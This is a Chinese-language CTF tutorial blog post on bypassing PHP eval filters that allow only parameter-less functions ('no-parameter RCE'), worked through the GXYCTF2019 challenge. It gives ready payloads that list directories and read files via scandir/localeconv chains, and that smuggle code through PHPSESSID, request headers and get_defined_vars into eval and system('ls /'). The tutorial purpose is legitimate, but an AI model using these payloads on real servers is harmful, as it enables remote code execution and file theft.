首页 > 其他分享 >无参数rce

无参数rce

时间:2024-07-27 17:07:28浏览次数:7  
标签:文件 GET getcwd 参数 数组 rce array scandir

首先来看情境

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
    eval($_GET['star']);
}

无参数rce就是限制我们传入的为不含参数的函数.就比如scandir()是允许的,但是scandir('1')就是不允许的.
相关函数介绍

scandir() //返回当前目录构成的数组
localeconv() //一个数组,第一个值为.,很重要
getcwd() //获取当前工作的目录,无需参数
dirname() //获取某文件工作的目录
array_flip() //交换数组的键和值,返回交换后的数组
array_rand() //随机从数组中取出一个值
array_reverse() //将数组内容翻转
strrev() //翻转字符串
chdir() //改变工作目录
eval();assert();system() //命令执行
highlight_file();show_source();readfile() //读文件

在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.

end() //指向最后一个元素并返回
reset() //指向第一个元素并返回
next() //指向下一个元素并返回
prev() //指向上一个元素并返回
current() //指向当前元素并返回

因此我们可以利用上面的这些函数拼接无参数RCE
比如通过下面的函数查看当前目录.

ls=var_dump(scandir(current(localeconv())));

利用scandir

以GXYCTF2019禁止套娃为例.

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
highlight_file(__FILE__);
?>

我们可以看到对伪协议进行了防护,只允许执行无参数函数,同时通过preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i'限制了一些函数的执行.比如phpinfo(),getcwd()等
最终payload如下

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

解读:scandir(current(localeconv()))就相当于ls命令,查看发现flag文件在倒数第二位,因此我们将数组颠倒,然后查看第二位的文件即可.
存在多个不同构造的paylaod如下(直接扒的别人博客的,没去验证)

highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位.查看和读取根目录文件

利用http报文

PHPSESSID

我们首先将我们希望执行的命令进行bin2hex转化为16进制,如phpinfo();对应的706870696e666f28293b.
然后我们通过eval(hex2bin(session_id(session_start())));来获取PHPSESSID的值,然后将我们的706870696e666f28293b添加上去即可.
image
注意:这个Cookie在http报文中的位置是有说法的,不能随便放.
然而有的时候,这个hex2bin不能用,比如2被禁用,这个时候我们也可以直接去猜着读flag

readfile(session_id(session_start()));
getallheaders()

这是apache服务器下才能使用的一个函数.可以获得所有的请求头.我们可以在报文最后添加一个请求头,内容为恶意代码,然后传入

var_dump(end(getallheaders()));
get_defined_vars()

相较于上一个函数,这个函数更加的普遍,他会以下列顺序依次的返回数组$_GET-->$_POST-->$_COOKIE-->$_FILES,其中的$_GET等本身也是数组.
在确定有回显的情况下,我们可以通过下列方法去执行命令

a=eval(end(current(get_defined_vars())));&b=system('ls /');

标签:文件,GET,getcwd,参数,数组,rce,array,scandir
From: https://www.cnblogs.com/merak-lbz/p/18327166

相关文章

  • 【做题笔记】板刷 CodeForces
    CF1987DWorldisMine第一想法是贪心的决策,考虑到是博弈论,每一轮决策肯定都是最优的。显然贪心做法假掉。发现问题具有最优子结构与后效性,考虑dp。将\(a_i\)数组排序,将相同元素打包成块,块长为\(b_{a_i}\)。设\(f_{i,j}\)表示以第\(i\)个块结尾,剩余决策数为\(j\)的最......
  • 在 `el-upload` 的事件中传递更多参数的方法
    有时候需要动态创建上传框,这样就要求上传成功后数据要根据地方去赋值<el-uploadclass="avatar-uploader":headers="config":act......
  • 从k8s容器丢包事件中掌握内核参数优化技巧
    引言  在k8s的使用场景中,容器不是仅仅能运行就算ok,往往还需要进行容器的内核参数优化和应用程序参数的调优,如在高并发的业务场景下,运行一个java程序,我们不仅需要对其JVM参数进行调优,而且需要对其所在的容器进行内核参数优化,这篇文章主要通过一次容器丢包事件介绍容器中内......
  • 如何运行从我正在编写的另一个 Python 脚本获取命令行参数的 Python 脚本?
    我有一个python3脚本,如下所示:...defmain():parser=argparse.ArgumentParser(description='Performnormalisationchecksonpass2files')parser.add_argument('-p','--parser',action='store',help='parse......
  • Codeforce 962 Div3 C~E 题解
    C题目大意​给定两个字符串a,b,q个询问,每次操作可以将a[i]赋值为任意一个字符,每次询问[l,r]区间内使得sorted(a[l,r])==sorted(b[l,r])的最小操作次数分析​ 不妨先考虑一个区间如何判断sorted后的字串是否相等,发现跟字符出现的次数有关,于是考虑前缀和预处理每一个26......
  • 【Android驱动05】通过U-Boot来设置启动参数cmdline将数据传递给应用层的方法
    在Android系统中,通过U-Boot(通常称为uboot)来设置启动参数(如cmdline)或尝试直接将数据传递给应用层(通过系统属性property)是一个较为间接的过程,因为U-Boot主要负责硬件初始化和引导Linux内核,而Android系统属性则是由Android系统服务(如init进程和property服务)管理的。不过,我们可......
  • Python 3 使用 super() 函数时出现“类型错误:__init__() 获得多个参数值”
    我正在使用继承的Python3编写一个OOP程序,当我尝试像这样初始化子类时遇到标题错误:classParent:def__init__(self,var1,var2):self.var1=var1self.var2=var2#moremethodsthattosomestuffclassChild(Parent):a=1#aan......
  • 无字母数字rce
    参考blog:https://www.cnblogs.com/pursue-security/p/15404150.html首先来看情境<?phphighlight_file(__FILE__);$code=$_GET['code'];if(preg_match("/[A-Za-z0-9]+/",$code)){die("hacker!");}@eval($code);?>可以看到在上述代码中,可以执......
  • Codeforces Round 962 (Div. 3) 题解
    A.Legshttps://codeforces.com/contest/1996/problem/A翻译:农夫约翰的农场又迎来了美好的一天。农夫约翰来到农场后,数了数n条腿。众所周知,农场里只住着鸡和牛,一只鸡有2条腿,而一头牛有4条腿。假设约翰农场主数清了所有动物的腿,那么他的农场里最少有多少动物?思路求最少......
  • Codeforces Round 962 (Div. 3) 补题记录(A~G)
    这场Div.3难度高于平时。A#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;constintN=500100;inta[N];signedmain(){intT;scanf("%lld",&T);while(T--){intn;scanf("%lld",......